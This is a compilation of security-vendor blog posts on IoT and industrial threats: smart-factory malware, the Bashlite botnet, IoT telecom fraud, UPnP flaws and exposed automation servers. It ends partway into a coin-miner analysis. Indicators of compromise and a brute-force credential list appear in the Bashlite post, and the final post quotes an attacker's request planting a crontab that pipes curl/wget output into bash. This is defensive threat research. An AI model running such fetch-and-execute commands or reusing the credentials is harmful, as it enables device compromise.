Browsing category

Internet of Things

iiot, Internet of Things, ip, IT, manufacturing, ot,

Malware in Smart Factories: Top Security Threats to Manufacturing Environments

by Matsukawa Bakuei, Ryan Flores, Vladimir Kropotov, and Fyodor Yarochkin (Threat Researchers)

The introduction of the use of cyber-physical systems (CPSs) in manufacturing — the revolution known as Industry 4.0 and typically embodied in so-called smart factories — is just one of the manifestations of how the industrial internet of things (IIoT) is improving processes, introducing efficiencies, and stirring innovation in established and emerging industries. Aside from transforming production processes by connecting factory systems with one another and with enterprise networks, this new era of connectivity urges Industry 4.0 adopters to reevaluate their security strategies for the convergence of information technology (IT), operational technology (OT), and intellectual property (IP).

The industrial sector is now finding a new kind of space to operate in, where physical and digital components intersect. But now that more devices and systems in the manufacturing network are getting connected, potential entry points for attacks are also increasing. In this post, we tackle the top malware detections in manufacturing networks, based on data from the Trend Micro™ Smart Protection Network™ infrastructure, review the common security threats to the manufacturing industry, and discuss how cybersecurity can be improved.

Attacks against IT networks

Figure 1. Detections of autorun.inf across industries, with manufacturing having the highest, based on data from the Trend Micro™ Smart Protection Network™ infrastructure for the period from July to December 2018

Figure 1. Detections of autorun.inf across industries, with manufacturing having the highest, based on data from the Trend Micro™ Smart Protection Network™ infrastructure for the period from July to December 2018

Manufacturing has the highest detections of autorun.inf across industries. Downad (aka Conficker) and other USB worms abuse autorun.inf by automatically executing it whenever an infected removable device is plugged in. This is a cause for concern considering the common practice in the industry of using USB drives to transfer information within and between the IT and OT networks. For instance, the infamous Stuxnet malware, which was designed to target a nuclear facility, was propagated via removable USB media (although the malware itself exploited a vulnerability in parsing shortcut files). Incidents such as Stuxnet show that attacks can be unwittingly facilitated by employees with infected external devices as well as deliberately carried out by actors with malicious objectives. And while attacks may be initiated in enterprise networks, the repercussions may extend to the control systems themselves.

In an example of how corporate IT networks can be targeted to attack manufacturing facilities, a ransomware attack against an aluminum manufacturer recently forced the company to revert to manual operations. But perhaps no ransomware in recent memory is more notorious than WannaCry, given its rapid spread and significant impact on corporate systems. The malware also affected industrial control systems (ICSs), by infecting computers that managed industrial control software. WannaCry is particularly noteworthy because it spreads using a flaw in the Server Message Block (SMB) protocol in the Microsoft Windows, without requiring any direct interaction with the user. Some industrial systems might be running Windows as their platform and using the SMB protocol to communicate, and they might have gotten affected by EternalBlue, the exploit that takes advantage of the SMB vulnerability in question. The lack of patching on machines — a factor aggravated in OT systems, where patching could prove more difficult — created a favorable environment for the propagation across networks.

Security of ICSs and IP assets

ICSs and industrial infrastructures are under constant threat from malicious actors looking to compromise critical processes. Unfortunately, not all ICSs were built and designed for the connectivity and threats of today. Hardware and protocols could be difficult to integrate; security controls may not be built in or may be retrofitted to old manufacturing systems. In fact, we’ve found exposed manufacturing machines online using the IoT search engine Shodan.

Figure 2. Exposed monitor for mixers and their temperature and speed numbers

Figure 2. Exposed monitor for mixers and their temperature and speed numbers

Moreover, ICSs are by no means exempt from malware. In 2017, Trisis was uncovered as the first attack to target safety instrumented systems. It targeted Schneider Electric’s Triconex Safety Instrumented System solutions, which are widely used in Middle East’s energy industry. The attack notably caused the shutdown of the plant affected by the malware.

A breach in a manufacturing network could also have consequences to proprietary information such as copyrights, patents, trademarks, and trade secrets. Computer-aided design (CAD) or document files that contain digital blueprints of products and technical records can be taken advantage of by threat actors.

Figure 3. Malicious CAD file detections across industries, based on data from the Trend Micro Smart Protection Network infrastructure for the period from October to December 2018

Figure 3. Malicious CAD file detections across industries, based on data from the Trend Micro Smart Protection Network infrastructure for the period from October to December 2018

We’ve found that manufacturing has the highest number of detections of malicious CAD files across industries. Attackers can trojanize CAD files by abusing the Visual Basic for Applications (VBA) functionality AutoLISP in the popular AutoCAD software. Poorly secured files could be used for industrial espionage, leakage of design data in the underground, and production of counterfeit products. Ultimately, breaches to IP could even shake customer and shareholder confidence.

Figure 4. Sites showing leaked CAD files pertaining to a popular smartphone

Figure 4. Sites showing leaked CAD files pertaining to a popular smartphone

Securing manufacturing networks and connected production environments

Security in the era of Industry 4.0 is a collaborative effort across components concerning the IT, OT, and IP. Manufacturers who rise to the challenge of adopting Industry 4.0 should implement robust security protections built to protect physical and digital assets against cyberthreats and cyberattacks. Without the knowledge of the current threat landscape of the industry, systems and infrastructures are at risk of being left vulnerable to attacks, shutdown, or IP leakage.

Here are some security measures manufacturing organizations can take:

  • Audit new and existing pieces of equipment in the organization. IT administrators should be able to work with operational engineers to monitor and understand what information is passed on in any network. This will be crucial for unifying IT, OT, and IP security for day-to-day visibility and incident response in case of an attack.
  • Educate employees on security protocols. As in IT environments, employees also pose a risk to OT network security. Inform all staff of social engineering tactics or risky information-sharing behaviors to prevent breaches caused by lack of security awareness or human error.
  • Employ domain or subnetwork restrictions. Restrict machines that can talk with one another to provide a level of isolation and control between corporate and production machines. Indicate which computers in the IT network should be able to access production machines.

Read our research paper, “Securing Smart Factories: Threats to Manufacturing Environments in the Era of Industry 4.0,” for a detailed look at the threat landscape of the manufacturing industry and our recommended security measures for manufacturing environments.

The post Malware in Smart Factories: Top Security Threats to Manufacturing Environments appeared first on .

This post appeared first on Trend Macro Blog
Author: Trend Micro

BASHLITE, Botnets, Exploits, Internet of Things, Malware, Metasploit,

Bashlite IoT Malware Updated with Mining and Backdoor Commands, Targets WeMo Devices

By: Mark Vicente, Byron Galera, and Augusto Remillano (Threats Analysts)

We uncovered an updated Bashlite malware designed to add infected internet-of-things devices to a distributed-denial-of-service (DDoS) botnet. Trend Micro detects this malware as Backdoor.Linux.BASHLITE.SMJC4, Backdoor.Linux.BASHLITE.AMF, Troj.ELF.TRX.XXELFC1DFF002, and Trojan.SH.BASHDLOD.AMF. Based on the Metasploit module it exploits, the malware targets devices with the WeMo Universal Plug and Play (UPnP) application programming interface (API).

Bashlite (also known as Gafgyt, Lizkebab, Qbot, Torlus, and LizardStresser) gained notoriety for its use in large-scale DDoS attacks in 2014, but it has since crossed over to infecting IoT devices. In its previous iterations, Bashlite exploited Shellshock to gain a foothold into the vulnerable devices. An attacker can then remotely issue commands — particularly, to launch DDoS attacks similar to the way it was used in 2016 — and download other files to the compromised devices.

This updated iteration of Bashlite is notable. For one, its arrival method is unique in that it doesn’t rely on specific vulnerabilities (e.g., security flaws assigned with CVEs). It instead abuses a publicly available remote-code-execution (RCE) Metasploit module.  It now also sports additional DDoS-related commands, and added new ones that gave the malware cryptocurrency mining and backdoor capabilities. It can also deliver malware that removes competing botnet malware.

The exploit used doesn’t have a list of targeted WeMo devices. It only needs to check if the device is enabled with the WeMo UPnP API. The impact could be significant. WeMo’s home automation products, for instance, range from internet-connected cameras, electrical plugs, and light switches and bulbs to motion sensors. It has a mobile application that uses the Wi-Fi network to wirelessly control IoT devices.

While we have not seen significant detections for these versions of Bashlite, it’s worth noting that it’s already in the wild, based on feedback from Trend Micro™Smart Protection Network™. The detections, seen last March 21, were observed in Taiwan, United States, Thailand, Malaysia, Japan, and Canada.

We disclosed our findings to Belkin. The company has since released an official statement regarding the vulnerabilities that the malware targets. “Belkin is committed to product and customer security. The vulnerability described in this article was detected and remediated in 2015 for all affected devices. We strongly encourage customers to update their devices and mobile apps to obtain the latest security fixes.”

Figure 1. Bashlite infection chain

Figure 2. Snapshot of code showing a network indicator (via Trend Micro™ Deep Discovery Inspector™) of the attack targeting devices with WeMo API (top), which is also in the Metasploit module (bottom)

Infection chain
Some of the Bashlite samples we analyzed appear to differ depending on the architectures they infect. These recent Bashlite iterations use a Telnet scanner and brute force the device with these usernames and passwords: root, 9615-cdp, admin, admin123, huigu309, xc3511, vizxv, and Dvrdvs.

Bashlite uses the scanner to find possible machines to infect. It will then send a dropper binary (XORred, with key=0x54) to the vulnerable machine. Of note here is the way the binary dropper is supposed to retrieve and drop the Hakai botnet malware, whose code is based on Bashlite and was seen targeting routers last year. However, the URL from which Hakai is supposed to be downloaded is no longer accessible. There are multiple dropper binaries embedded in Bashlite, designed for different architectures. Figure 3 shows how the embedded binaries are retrieved and dumped.

As part of its command-and-control (C&C) communication, the binary dropper connects to 178[.]128[.]185[.]250/hakai[.]x86. It also connects to 185[.]244[.]25[.]213:3437 for Bashlite’s backdoor routines.

Figure 3. Screenshot showing how the Hakai malware is also supposed to be downloaded and executed on another device

Figure 4. Snapshots of code showing functions responsible for retrieving (top) and dumping (bottom) the embedded binaries

Backdoor and DDoS capabilities
The most notable of Bashlite’s backdoor commands include simultaneously launching multiple types of DDoS floods to a target as well as downloading and executing cryptocurrency-mining and bricking malware. It also has code designed to circumvent a DDoS mitigation service.

Here are some of Bashlite’s backdoor commands:

  • PINGING: Similar to an internet relay chat (IRC) message; the malware replies with PONGING.
  • ECHOSCAN: Toggles the Telnet scanner.
  • OELINUX: Similar to ECHOSCAN but targets embedded systems.
  • CFBYPASS: Used to bypass a DDoS mitigation service

Figure 5. Snapshots of code showing the backdoor commands PINGING, ECHOSCAN (top), OELINUX, and CFBYPASS (bottom)

Bashlite can launch several types of DDoS attacks using these commands:

  • HOLD: Connects to an IP address and port, and sustained for a specified time.
  • JUNK: Same as HOLD but also sends a randomly generated string to the IP address.
  • UDP: Flood target with user datagram protocol (UDP) packets.
  • ACK: Send acknowledgment (ACK) signals to disrupt network activity.
  • VSE: An amplification attack used to consume the resources of a target (e.g., server).
  • TCP: Send numerous transmission control protocol-based (TCP) requests.
  • OVH: DDoS attack designed to bypass a DDoS mitigation service
  • STD: Similar to UDP (flooding the target with UDP packets)
  • GRENADE: Launch all the DDoS commands.

Bashlite has other notable commands. For example, BRICKER downloads and executes a bricker malware from a specified URL to presumably eliminate competing bots. MINER downloads and executes a cryptocurrency-mining malware on the infected machine, while PKILL terminates a specified process.

Figure 6. Snapshot of code showing different DDoS-related commands

IoT security shouldn’t be an afterthought
While connected devices — from those used in smart homes to complex IoT environments — provide convenience and efficiency, they can also come with risks if improperly configured or left unsecured. Bashlite is just one of the many threats that could threaten the privacy, security, and even safety of users. We’ve seen some of these threats, for example, take advantage of exposed UPnP-enabled devices that don’t have patches for known vulnerabilities. Equipment designers and manufacturers must integrate security into the development life cycle of their products. Organizations that adopt BYOD policies for IoT device use in the workplace must balance the advantages of mobility and the need for security. Users should also adopt best practices.

Trend Micro Smart Home Network™ protects users from this threat via this intrusion prevention rule:

  • 1135463 – WEB Belkin Wemo UPnP Remote Code Execution

The Trend Micro™ Deep Discovery Inspector™ solution protects customers from related attacks via this DDI rule:

  • 2860 – Belkin Wemo UPnP Remote Code Execution

Indicators of compromise (IoCs):

Related hashes (SHA-256):

  • 81cbb253ef6ad4803e3918883eed3ec6306ef12e7933c5723bd720d55d13a46a — Backdoor.Linux.BASHLITE.SMJC4
  • 01570ee09d63579afc77a44295aeb06c1cc826ae6f0aa9423915ea4ecfd9899f — Trojan.SH.BASHDLOD.AMF

Detected as Backdoor.Linux.BASHLITE.AMF (SHA-256):

  • 2d896a7e4db137024b947ca5be79fd0497f50f3a0ad2edf07455d3b35a40735b
  • fe887192440d1a7c6199593dfab52362a22e187d80879c89eba72f1659e82d0b
  • 506e4824beb216a33ed7cb1fe98637091f603b93df789f3819c624f5e3e19b80
  • 9ce735506f6cb663d4a4617da99b75262dc937c62c2afda0509adc49745c1554
  • d9faa3e129a72a9908eafc25d4ecc54aca77da2714471db45d191520bc6075f4
  • 323b4260e8fbfb46461ff017882832ed195821e855a473a0b0e15ace5ad8b2ef
  • 8da4b0d63aa6824e454ec3786093d2fb18d1ba89ddc5510221b076058db0bb19
  • bcb19d156b089cabc2b89f31e36b577be700ea489dd8c1ef69cbcb95585ef05c
  • 21c740671cad8dc67b5504e0d5e6cf0a92864ea87c075f1ebdff419e95263077
  • ba47ec0a9f2dedb169590f607f96cc889f4b9e465ce9334502a09997e74c4334
  • 31607153ce9edec754027b3ea2ddc3b6c3f13532c2e78b54a89dbeb09b4efd43
  • d2aeb3beadbdfe9d44521551ce44661595a51ce9bb9e1c317b74e173ab65c6fa

Related malicious URLs:

  • hxxp://185[.]244[.]25[.]213/ECHOBOT[.]mips
  • hxxp://185[.]244[.]25[.]213/UqHDZbqr9S[.]sh

With additional insights and analysis by Chizuru Toyama and Jakub Urbanec

The post Bashlite IoT Malware Updated with Mining and Backdoor Commands, Targets WeMo Devices appeared first on .

This post appeared first on Trend Macro Blog
Author: Trend Micro

Internet of Things, IoT, Mobile, Telecom, Telecommunications,

Telecom Crimes Against the IoT and 5G

by: Trend Micro Research and Europol’s European Cybercrime Centre (EC3)

Telecommunications or telecom technology is the underpinning of the modern internet, and consequently, the internet’s growing segment, the internet of things (IoT). Likewise, the global telecommunications network we enjoy today has been greatly influenced by the existence and growth of the internet. Between telecom and the internet is a two-way relationship, even an indistinguishable divide for users. We experience this since the very same telecom carriers we subscribe to allow us to connect to the internet. At its best, this relationship is exemplified as advances in network connectivity as we move to 5G. In our paper with Europol’s European Cybercrime Centre (EC3), “Cyber-Telecom Crime Report 2019,” we explore how this relationship can also be used to threaten and defraud the IoT.

The SIM Connection

A common and well-known link that communication devices and internet devices have is the use of a SIM card. For IoT devices to have a unique presence and connection to the internet, they should have a SIM in the same way a phone does. This could be a familiar white SIM card, or something smaller attached to the circuitry of the device. A phone makes or receives calls, SMS, or data. Identically, an IoT device has a SIM to allow it to receive and make calls, SMS, or data.

SIM cards can serve like credit or debit cards in that they are used to initiate billing or connections that have corresponding fees. That’s why SIM cards, unfortunately, can be subject to many of the same frauds and risks credit cards are. In addition, the use of SIM cards — and telecom in general — in fraud appeals to criminals, perhaps because the telecom sector is not under regulation for money laundering controls.

In the case of smart city devices like traffic lights and smart garbage bins, cybercriminals have various ways to abuse SIM cards. They could choose to extract the SIM cards embedded in the IoT devices and use the SIMs to launder money or conduct other illicit activities. In some cases, even when the SIM cards might be difficult to extract, vulnerabilities still lie in how the devices have the capability to change carriers remotely. Moving from one carrier to another creates risks as some carriers could be cooperating with or created by criminals.

Bucketed subscription aggregation is also a problem with the IoT, especially in the development of more complex and large-scale IoT environments like smart cities. Such scale could be met with inadequate security measures, wherein many IoT devices (as many as millions) are aggregated to a single accounting line. When even just a single SIM of these IoT devices is compromised, the fraud it facilitates will be left undetected due to the inadequate accounting oversight.

It is also important to note that even if an IoT device is “dumb” or doesn’t have the ability to call or send messages, it doesn’t mean that its SIM is also limited — a fact that many procurement departments of large-scale IoT implementations might forget. These dumb devices could hold unknown telecom capabilities, ones that could be exploited by cybercriminals for data malware infection or very costly long distance fraud.

Figure 1. IoT SIM supply chain compromise threat model

Figure 1. IoT SIM supply chain compromise threat model

Large IoT Infrastructures

The scalability of IoT is one of its greatest assets, which, in the case of telecom fraudsters, is something of an opportunity as well. Depending on the number of deployed IoT devices and supporting technologies like dedicated servers, its environment can scale from one entire home to an entire city. The larger the scale, the more challenging it would be to monitor each connected device.

Even smaller-scale environments like smart homes, buildings, and factories do not escape the risk of being used for telecom fraud. Although smart factories are typically isolated from the internet, they do still require some form of cellular data connection to perform backups to an offsite location or undergo remote maintenance. Through this connection, cybercriminals can use cyber-telecom vulnerabilities against them and use them for outbound fraud.

Even smart and autonomous vehicles can be subject to the same attacks as mobile phones. Telephony denial of service (TDoS), for example, could cause a smart car to become lost due to a broken internet connection.

Securing Telecom and the IoT

Keeping in mind the connection between IoT and telecom should help in creating defenses against threats that shift from one to the other. Getting a grasp on common channels used by IoT devices can uncover hidden telecom capabilities in them. For IoT devices, simple measures like changing the default settings and credentials of the device can already prevent some of the mentioned telecom attacks.

Telecom technology and the IoT have proven that connectivity can be a powerful tool that helps us save time, improve efficiency, and bridge borders, among others. However, connections that run beyond our awareness can be abused to the detriment of others, through crimes like fraud and money laundering. It is important to acknowledge that there is only so much a single organization or industry can do against an interconnected web of threats. Collaboration and cooperation between all stakeholders, from telecom carriers to security experts and law enforcement, are necessary in keeping our connections safe.

For the complete discussion on telecom threats, read our paper “Cyber-Telecom Crime Report 2019.”

The post Telecom Crimes Against the IoT and 5G appeared first on .

This post appeared first on Trend Macro Blog
Author: Trend Micro

home networks, Internet of Things, Satori, UPnP, Vulnerabilities,

UPnP-enabled Connected Devices in the Home and Unpatched Known Vulnerabilities

by Tony Yang (Home Network Researcher)

Earlier this year, users of Chromecast streaming dongles, Google Home devices, and smart TVs were inundated with a message promoting YouTuber PewDiePie’s channel. The hijacking is said to be part of an ongoing subscriber count battle on the video sharing site. The hackers behind it reportedly took advantage of poorly configured routers that had the Universal Plug and Play (UPnP) service enabled, which caused the routers to forward public ports to the private devices and be open to the public internet.

Many devices such as cameras, printers, and routers use UPnP to make it easy for them to automatically discover and vet other devices on a local network and communicate with each other for data sharing or media streaming. UPnP works with network protocols to configure communications in the network. But with its convenience comes security holes that range from attackers gaining control of devices to bypassing firewall protections.

After the aforementioned incident, we looked into UPnP-related events in home networks and found that many users still have UPnP enabled in their devices. We gathered data from our free IoT scanning tool, which can cover multiple operating systems, including Mac, Windows, Android, and iOS platforms. For this blog, we discuss data from January 2019.

Device type Total number of devices Number of devices with UPnP enabled Percentage of devices with UPnP enabled
Routers 46,614 35,400 76%
Media devices 21,496 5,832 27%
Gaming consoles 5,138 960 19%
PC 33,173 5,778 17%
NAS devices 4,333 474 11%
Cameras 2,105 189 9%
Smart TVs 10,005 503 5%
Printers 17,265 568 3%

Table 1. Top device types with UPnP enabled

In January, we detected 76 percent of routers with UPnP enabled. Moreover, 27 percent of media devices, for example, DVD players and media streaming devices, also have UPnP enabled. Vulnerable UPnP implementations, when exploited, can turn routers and other devices into proxies to obfuscate the origins of botnets, distributed denial-of-service (DDoS) attacks, or spam, and render nearly impossible to trace what malicious activities are done. Reports have already previously surfaced where routers with vulnerable UPnP implementations were forced to connect to ports and even send spam or other malicious mails to well-known email services.

The IoT botnet Satori, for instance, has been infamous for exploiting a UPnP vulnerability. The vulnerability, designated as CVE-2014-8361, is a command injection vulnerability in Realtek SDK miniigd UPnP SOAP interface. A public advisory related to the vulnerability was released back in May 2015 with applicable mitigation, yet from recent data we gathered, many devices are still using older, potentially vulnerable UPnP versions.

Figure 1. UPnP-related results, with 1900 as the port, in Shodan (March 5, 2019 data)

Figure 1. UPnP-related results, with 1900 as the port, in Shodan (March 5, 2019 data)

We also expanded our scanning using the online search engine Shodan. A scan for the standard port used by UPnP, which is 1900, yielded a result of 1,649,719 devices searchable on the public internet. Well-known UPnP libraries were also listed in the search engine, with MiniUPnPd and Custom (Broadcom’s UPnP library) as what most of the searchable devices use.

MiniUPnP 35%
Custom 20%
LibUPnP (Portable SDK/Intel SDK) 1%

Table 2. Top three UPnP libraries in Shodan results (March 5, 2019 data)

UPnP-related vulnerabilities and current device implementations in home networks

Shodan results painted the scale of publicly searchable UPnP-enabled devices. With our own scanning tool, we looked into UPnP libraries in use at home and other small network environments and identified what could be the factors that make the devices vulnerable to attacks. In a nutshell, we found that most devices still use old versions of UPnP libraries. Vulnerabilities involving the UPnP libraries have been years old, are potentially unpatched, and leave connected devices unsecure against attacks.

Our IoT scanning tool data showed that 16 percent of those devices with UPnP enabled utilize the MiniUPnPd library. MiniUPnPd is a well-known UPnP daemon for NAT (network address translation) routers to provide port mapping protocol services. Interestingly, devices we detected have the old versions of MiniUPnPd installed: 24 percent use MiniUPnPd 1.0, 30 percent use MiniUPnPd 1.6, and only five percent of the devices use MiniUPnPd 2.x version (miniupnpd 2.1 is the latest version).

Versions Percentage
miniupnpd 1.0 24.47%
miniupnpd 1.1 0%
miniupnpd 1.2 0.28%
miniupnpd 1.3 0.49%
miniupnpd 1.4 3.68%
miniupnpd 1.5 10.81%
miniupnpd 1.6 29.98%
miniupnpd 1.7 4.23%
miniupnpd 1.8 8.48%
miniupnpd 1.9 11.34%
miniupnpd 2.0 4.96%
miniupnpd 2.1 0.39%
Others 0.89%
miniupnpd (All) 100.00%

Table 3. MiniUPnPd distribution

Devices with old versions of the said daemon have to be protected against known and high-risk vulnerabilities. For example, CVE-2013-0230, a stack-based buffer overflow in the ExecuteSoapAction of MiniUPnPd 1.0, allows attackers to execute arbitrary code. CVE-2013-0229, a vulnerability in the ProcessSSDPRequest function in MiniUPnPd before 1.4, allows attackers to cause a denial of service (DoS) via a crafted request that triggers a buffer over-read. Then there’s CVE-2017-1000494, an uninitialized stack variable flaw in MiniUPnPd < 2.0 that allows attackers to cause DoS (segmentation fault and memory corruption).

Windows UPnP Server
We also found that 18 percent of the devices utilize Windows-based UPnP. These devices, Microsoft Windows XP machines (Windows NT 5.1) in particular, should check if the MS07-019 patch has been applied. (It is also important to note that Windows XP reached end of life in April 2014, meaning it’s no longer supported by Microsoft and security problems will be left unpatched.) Windows XP comes with UPnP functionality that is enabled automatically out of the box. The patch addresses the UPnP memory corruption vulnerability (CVE-2007-1204) that enables a remote attacker to run arbitrary code in the context of a local service account.

Libupnp (portable SDK for UPnP devices)
The portable software development kit (SDK) for UPnP devices (libupnp) is another well-known UPnP library which supports several operating systems. From our data, 5 percent of the detected devices use the libupnp library package. While not a significant number, we noted that most of the devices with the said library have versions older than 1.6.18/1.6.19 (the current version being 1.8.4). Users of versions before 1.6.18 have to be mindful of a stack-based buffer overflow in the unique_service_name function, designated as CVE-2012-5958, which allows remote attacks to execute arbitrary code via a User Datagram Protocol (UDP) packet.

Conclusion and Trend Micro Solutions

It could be tricky for users to determine if a device has a UPnP-related flaw or has been infected. Some devices could be hidden behind NAT, such that even if a vulnerability exists, the user may not see the impact immediately. To prevent attacks that exploit UPnP-related vulnerabilities, users should ensure that their devices are running updated firmware. If a device is suspected of being infected, the device should be rebooted, reset to the original factory settings, or, to err on the side of caution, altogether replaced. Unless enabling UPnP in devices is necessary for the network, it is advisable to disable the UPnP feature if the device allows. It is to be noted, however, that turning off UPnP may disable some functionalities, including local device discovery dependencies and ignored requests from devices.

Home users can also follow these measures for added security:
1. Scan home networks with the Trend Micro™ HouseCall™ for Home Networks tool and check which devices have their UPnP port 1900 is open.
2. Go to the device’s settings page (e.g. router’s settings page) to disable UPnP.
3. Manually configure port forwarding settings if needed.

The Trend Micro Home Network Security solution can check internet traffic between the router and all connected devices. Our IoT scanning tool has been integrated into the Trend Micro HouseCall for Home Networks scanner.

Users of the Trend Micro Home Network Security solution are protected from UPnP vulnerabilities and related attacks via these rules:

  • 1134286 WEB Realtek SDK Miniigd UPnP SOAP Command Execution (CVE-2014-8361)
  • 1134287 WEB Huawei Home Gateway SOAP Command Execution (CVE-2017-17215)

The post UPnP-enabled Connected Devices in the Home and Unpatched Known Vulnerabilities appeared first on .

This post appeared first on Trend Macro Blog
Author: Trend Micro

Automation, Internet of Things, IoT, smart buildings, smart homes,

Exposed IoT Automation Servers and Cybercrime

by: Stephen Hilt, Numaan Huq, Martin Rösler, and Akira Urano

In our latest research “Cybersecurity Risks in Complex IoT Environments: Threats to Smart Homes, Buildings and Other Structures,” we tested possible threat scenarios against complex IoT environments such as in smart homes and smart buildings. A significant part of the research also involved a look into exposed automation platforms or servers, which are integral components of complex IoT environments.

We define Complex IoT Environments (CIEs) as being made up of enough IoT devices — 10 from our experience — to create a web of dynamic interactions based on set rules. In these environments, an automation server functionally chains the devices together and enables functional interactions of devices that characterize such environments. There are two types of automation servers an IoT environment could have: the open-source server and the commercial server. Both not only have great control over devices but also hold important information. These servers are critical for such an environment – with each additional device added, the number of possible interactions and rules grows exponentially.

If a server is unknowingly exposed online, it could allow attackers to reprogram automation rules or steal hardcoded information. As the automation rules get more and more complex with more devices added, an administrator will have a hard time noticing attacker’s logic changes even after inspection. Checking if an automation server is exposed online is therefore a significant aspect of CIE security. For our research, we used Shodan to see if there were indeed any exposed automation servers and share details on those that we found in this post.

General findings

We searched through Shodan, a search engine for internet-connected devices, and came across a number of open-source automation servers. What sets open-source automation servers apart is their programmable logic layer, which allows users to change rules and add devices to a CIE. Compared to commercial automation servers we will discuss later, open-source servers are a lot more versatile.

The most common exposed open-source IoT automation servers that we found were Domoticz, Home Assistant, openHAB, and Fibaro Home Center. Countries that had the most number of exposed servers were mostly industrial nations in Europe, North America, Australia, and Japan. Of note are the automation servers we found in Thailand, Vietnam, Chile and Argentina, which could be an indication that although IoT automation is still in its early stages, it is quickly spreading globally.

Figure 1. Exposed IoT servers found using Shodan

Figure 1. Exposed IoT servers found using Shodan

The count is based purely on servers found in Shodan, so we need to point out certain considerations: 1) Shodan data does not include all exposed servers, 2) not all automation servers are exposed on the internet, and 3) daily results are constantly changing because of dynamic IP addresses. Therefore, the actual total number of exposed automation servers could be greater.

Whatever the actual number is, the fact that it is in the tens of thousands is concerning. Exposed systems can contain sensitive information and provide access to anyone who finds them. This is demonstrated by the exposed open-source servers Home Assistant, FHEM, and Node RED, which we will discuss further.

Open-source home automation servers

As can be seen in Figure 1, we found thousands of Home Assistant servers exposed in Shodan. Home Assistant is an open-source home automation server that allows users to run all their connected home devices from a single, mobile-friendly interface. Home Assistant runs on a dedicated server, whether RPi or local, so all device data is stored locally and not in the cloud. Home Assistant out-of-the-box supports many of the popular IoT devices, rules can be programmed via the GUI as well as written in YAML.

We found more than 6,200 exposed Home Assistant servers online, most of which were from the U.S. and Europe. Home Assistant has a history feature that shows the operational status of devices and, once accessed, could indicate when the inhabitants are away from home. In some exposed homes, their Home Assistant configuration file contained important credentials, like hardcoded router username and password. It is good to note however, that Home Assistant enforces password protection and most of the exposed home servers were password protected.

Figure 2. Exposed history of devices

Figure 2. Exposed history of devices

On the other hand, we found fewer exposed smart homes using FHEM servers. FHEM is a home automation server popular in Europe, a fact that coincides with our findings as most of the exposed FHEM servers were from Austria and Germany. It’s a Perl server that can be used to automate repetitive day-to-day tasks at home, like controlling the thermostat, switching lights on and off, and regulating power consumption. Like Home Assistant, its program runs on a dedicated device and can be controlled using the web, a smartphone, Telnet, or TCP/IP.

Information on the exposed FHEM servers included configuration files and device activities. Configuration files contain a wealth of information, like hardcoded credentials, lists of all devices in the home, and each device’s location. Exposed FHEM servers could also show others details from the devices connected to it, like device status, sensor readings, and even electricity usage.

Open-source home and industrial servers

Another type of automation server we found exposed online was Node-RED, a flow-based programming tool for chaining together devices, APIs, and online services. What sets Node-Red apart is its support for both smart homes and industrial processes. This crossover support for IoT and IIoT spaces is a capability that we think will eventually be possible for other IoT automation platforms.

Figure 3. Exposed detailed log files recording all events triggered, found in the same location as the configuration file

Figure 3. Exposed detailed log files recording all events triggered, found in the same location as the configuration file

We found around 880 exposed Node-RED servers online. Most of these were located in the U.S., Germany, Japan, U.K., and the Netherlands. Since Node-RED can be used for both home and industrial applications, these servers came from a wide variety of settings. Examples that we found that were not smart homes included a greenhouse and a parking garage flow in Japan.

Figure 4. Exposed automation flow for a parking garage in Japan

Figure 4. Exposed automation flow for a parking garage in Japan

Commercial automation servers

We’re adding in this discussion the few commercial home automation servers we came across in our Shodan search. Commercial automation servers offer a lot less flexibility than open-source servers. This means they can’t integrate as wide a range of IoT devices in their systems. However, they are still capable of some level of control over households since they can be used to operate preinstalled devices.

Potential attackers would not be able to conduct significant smart attacks against exposed commercial automation servers using the logic layer — commercial ones do not have a user-programmable logic. However, these exposed servers freely share information and access to anyone querying them without requiring proper authentication. Some of the controls that we found included those for the intercom, cameras, lights, and alarm systems.

Figure 5. Exposed controls for a home alarm system

Figure 5. Exposed controls for a home alarm system

Security and control

Exposure of automation servers opens smart homes and even smart buildings to several attack scenarios. For open-source automation servers, attackers can reprogram rules which, in turn, lead to a slew of different other attacks — from secretly adding devices to the system to turning off all security setups. Even exposed commercial servers can give attackers physical control over a household by allowing them to interact with controls like alarm systems. Exposed automation servers in buildings and industrial settings could impede business operations should their setups be tampered with. In addition, attackers can monitor and note patterns in resident behaviors using the information readily available in the exposed server.

In securing a CIE, a good place to start is its automation server. Since automation servers do not alert users if there had been a change in its rules, users should frequently check the logic layer for any changes. In this regard, using version control software would help users track changes in their code, as well as revert their code quickly to its original version in case of compromise. Users should also filter the information their automation servers hold. An automation server is a powerful tool that makes CIEs run smoothly and efficiently. As such, it is crucial for its control to remain in the right hands and not fall into the hands of unforeseen attackers.

To get a fuller understanding of other threat scenarios, you can read the rest of our findings in our paper “Cybersecurity Risks in Complex IoT Environments: Threats to Smart Homes, Buildings and Other Structures.” We also detail best practices to help build safer CIEs.

The post Exposed IoT Automation Servers and Cybercrime appeared first on .

This post appeared first on Trend Macro Blog
Author: Trend Micro

coinminer, Internet of Things, KORKERDS, Linux, Malware, Open Source,

Linux Coin Miner Copied Scripts From KORKERDS, Removes All Other Malware and Miners

By Augusto Remillano II and Jakub Urbanec

While conducting a routine log check, we noticed an interesting script from one of our honeypots downloading a binary connected to a domain. Upon further analysis, we found the script capable of deleting a number of known Linux malware, coin miners, and connections to other miner services and ports, and we observed some parts of the script to be reminiscent of Xbash features and KORKERDS. It installs a cryptocurrency-mining malware as well as implant itself into the system and crontabs to survive reboots and deletions.

Figure 1. Script downloading from domain, logged from one of our honeypots.


Noticing the script downloading the binary, we also looked at an analyzed code of KORKERDS modified and collected in November 2018 and found them almost the same except for a few additions and notable omissions. Compared to KORKERDS, the new script does not uninstall security products found in the system and does not install a rootkit. Instead, the KORKERDS miner and the rootkit component are included in the kill list. Basically, the new script deletes the components and mining process of the malware whose code it copied.

Figure 2. Script was copied from KORKERDS but the process “kworkerds” is killed in the new code.

Figure 3. The rootkit component of KORKERDS is removed in the new version.

The script downloads a binary of a modified version of the cryptocurrency miner XMR-Stak (detected by Trend Micro as Coinminer.Linux.MALXMR.UWEIU), a universal Stratum pool miner that supports CPUs, AMD, and NVIDIA GPUs for Cryptonight currencies. We analyzed the infection and found it to have started from some IP cameras and web services via TCP port 8161, where the attacker tries to upload a crontab file:

PUT /fileserver/vMROB4ZhfLTljleL HTTP/1.1
Accept: */*
Content-Length: 105
Content-Type: application/x-www-form-urlencoded*/10 * * * * root (curl -fsSL 
hxxp://||wget -q -O- hxxp://|bash -sh


The crontab then downloads and runs shell script 1.jpg, enabling three functions named and identified by the attackers:

